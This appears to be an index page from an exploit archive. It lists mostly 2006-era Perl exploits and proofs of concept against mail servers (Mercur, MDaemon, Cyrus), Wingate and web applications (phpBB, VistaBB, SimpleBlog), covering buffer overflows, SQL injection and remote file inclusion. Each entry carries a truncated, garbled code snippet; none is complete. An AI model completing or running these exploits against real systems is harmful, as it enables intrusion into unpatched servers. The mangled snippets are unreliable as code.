mercur-login.pl.txt

!/usr/bin/perl Tested on Windows 2k Sp4 Italian and English version and Win XP Pro SP2 Italian and English version Perl script based on Sami FTP server remote exploit by Critical Security http://www.securityfocus.com/bid/17138 acaro at jervus.it use IO::Socket::INET; use Switch; if @ARGV 2 print...

Mercur MailServer 5.0 SP3 - 'IMAP' Remote Buffer Overflow (2)

!/usr/bin/perl Tested on Windows 2k Sp4 Italian and English version and Win XP Pro SP2 Italian and English version Perl script based on Sami FTP server remote exploit by Critical Security https://www.securityfocus.com/bid/17138 acaro at jervus.it use IO::Socket::INET; use Switch; if @ARGV 2 print...

Wikepage Opus 10 2006.2a (lng) - Remote Command Execution

Wikepage Opus 10 2006.2a lng - Remote Command Execution !/usr/bin/perl WIKEPAGE "; $socket = IO::Socket::INET-newProto="tcp", PeerAddr="$server", PeerPort="http80" || die "- Cannot not connect to host !\n"; print $socket "GET ".$path.$pcode." HTTP/1.1\r\n"; print $socket "User-Agent:...

phpBB All Topics Mod 1.5.0 - 'start' SQL Injection

!/usr/bin/perl print q / \ \ \ ,, / / '-./.-' .--' '--. / / /""\ \ \ SpiderZ ForumZ Security | | Insert URL = without http = ; $server = ; chop $server; print q = Insert directory = es: /forum/ - /phpBB2/ = ; $dir = ; chop $dir; print q = User ID = Number: = ; $user = ; chop $user; if !$ARGV2...

VistaBB 2.x - 'functions_mod_user.php' Remote File Inclusion

!/usr/bin/perl Method found and exploit scripted by nukedx Contacts ICQ: 10072 Web: http://www.nukedx.com MAIL/MSN: [email protected] Original advisory can be found at: http://www.nukedx.com/?viewdoc=48 VistaBB Copyright 2006 C nukedx Greetz to: WW,xT,php from my team NWPX , str0ke , cha0s , Pred...

MDaemon POP3 Server < 9.06 (USER) Remote Buffer Overflow PoC

No description provided by source. PoC for Mdaemon POP3 preauth heap overflow Coded by Leon Juranic [email protected] Infigo IS http://www.infigo.hr $host = '192.168.0.105'; use IO::Socket; for $x = 0 ; $x 12 ; $x++ $sock = new IO::Socket::INET PeerAddr = $host,PeerPort = '110', Proto = 'tcp...

MDaemon POP3 Server 9.06 - USER Remote Buffer Overflow (PoC)

MDaemon POP3 Server 9.06 - USER Remote Buffer Overflow PoC PoC for Mdaemon POP3 preauth heap overflow Coded by Leon Juranic Infigo IS $host = '192.168.0.105'; use IO::Socket; for $x = 0 ; $x $host,PeerPort = '110', Proto = 'tcp' || die "socket error\n\n"; recv $sock, $var, 10000,0; print $var;...

SimpleBlog <= 2.0 (comments.asp) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================= SimpleBlog use IO::Socket; if@ARGV != 3 usage; else exploit; sub header print " SimpleBlog 2.0 SQL Injection Exploit \r\n"; print " www.asianeagle.org \r\n"; sub usage header;...

getpwnedmail-ppc.pl.txt

!/usr/bin/perl getpwnedmail.pl http://www.digitalmunition.com written by kf kflistsatdigitalmunitiondotcom This is a canibalized version of "Kansas City POP Daemon Version 0.0" - Copyright c 1999 David Nicol kevin-finisterres-mac-mini: kfinisterre$ /usr/bin/fetchmail -p pop3 --fastuidl 1 localhos...

Cyrus IMAPD 2.3.2 - 'pop3d' Remote Buffer Overflow (3)

!/usr/bin/perl Creator: K-sPecial xzziroz.net of .aware awarenetwork.org Name: bid-18056.pl Date: 08/12/2006 Description: this is yet another exploit for the cyrus pop3d buffer overflow. I tried both public exploits and not either of them worked not that they don't but coding my own is generaly...

eIQnetworks ESA (Syslog Server) Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ============================================================== eIQnetworks ESA Syslog Server Remote Buffer Overflow Exploit ============================================================== !/usr/bin/perl -w http://www.digitalmunition.com...

Microsoft Internet Explorer 6 - 'Content-Type' Stack Overflow Crash

!/usr/bin/perl Stack overflow in wininet.dll while parsing huge 1M Content-Type response ex.: Unhandled exception at 0x771c00ee in IEXPLORE.EXE: 0xC00000FD: Stack overflow. discovered by Firestorm Usage: 1 run this code 2 open http://127.0.0.1/ with IE use IO::Socket; my $sock=new IO::Socket::INE...

SIPfoundry sipXtapi - 'CSeq' Remote Buffer Overflow (PoC)

!/usr/bin/perl PoC Exploit By [email protected] Remote Buffer Overflow in sipXtapi use IO::Socket; use strict; print "sipXtapi Exploit by Michael Thumann \n\n"; if not $ARGV0 print "Usage: sipx.pl \n"; exit; $target=$ARGV0; my $source ="127.0.0.1"; my $targetport = 5060; my $user ="bad"; my...

BXCP &lt;= 0.3.0.4 (where) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl use IO::Socket; print q ------------------------------------------------------------------------------------- BXCP exploit by x23 curse-crew.de geekbar.cx.la geeknet.uttx.net use: bxcp.pl server dir id sample: $ perl bxcp.pl bxcp.com / 1 connectin...

WD-MKP.txt

!/usr/bin/perl -w MKPortal 1.0.1 Final index.php File Include Vulnerability Discovered & Coded By rUnViRuS World Defacers TeaM WD-members: rUnViRuS - Papipsycho - BlackWHITE - r3v3ng4ns - Net^ViruS Details ======= Note : MKPortal 1.0.1 Final index.php File Include Vulnerability .$ind =...

GUESTEX-exec.pl.txt

Creator: K-sPecial xzziroz.net of .aware awarenetwork.org Name: GUESTEX-exec.pl Date: 06/07/2006 Version: 1.00 1.00 06/07/2006 - GUESTEX-exec.pl created Description: GUESTEX guestbook is vulnerable to remote code execution in how it handles it's 'email' parameter. $form'email' is used when openni...

Bookmark4U.pl.txt

!/usr/bin/perl Bookmark4U Multiple Remote File Include perl bm4u.pl Federico Fazzi use IO::Socket; if@ARGV newPeerAddr=$host, PeerPort="http$port", Proto='tcp', Timeout='2'; if$socket print "\ntry $path$includers$count string!\n"; print $socket "GET ".$path."$includers$count".$cmd." HTTP/1.1\r\n"...

Guestex Guestbook 1.00 (email) Remote Code Execution Exploit

Exploit for unknown platform in category web applications ============================================================ Guestex Guestbook 1.00 email Remote Code Execution Exploit ============================================================ Creator: K-sPecial xzziroz.net of .aware awarenetwork.org...

QBik Wingate 6.1.1.1077 (POST) Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ============================================================= QBik Wingate 6.1.1.1077 POST Remote Buffer Overflow Exploit ============================================================= Proof of concept not for "in the wild" kiddies QBik...

QBik Wingate 6.1.1.1077 (POST) Remote Buffer Overflow Exploit

No description provided by source. Proof of concept not for "in the wild" kiddies QBik Wingate version 6.1.1.1077 remote exploit for Win2k SP4 german by kcope in 2006 use IO::Socket; if $ARGV0 eq "" print "param1 = remote host"; exit; win32bind - EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaN...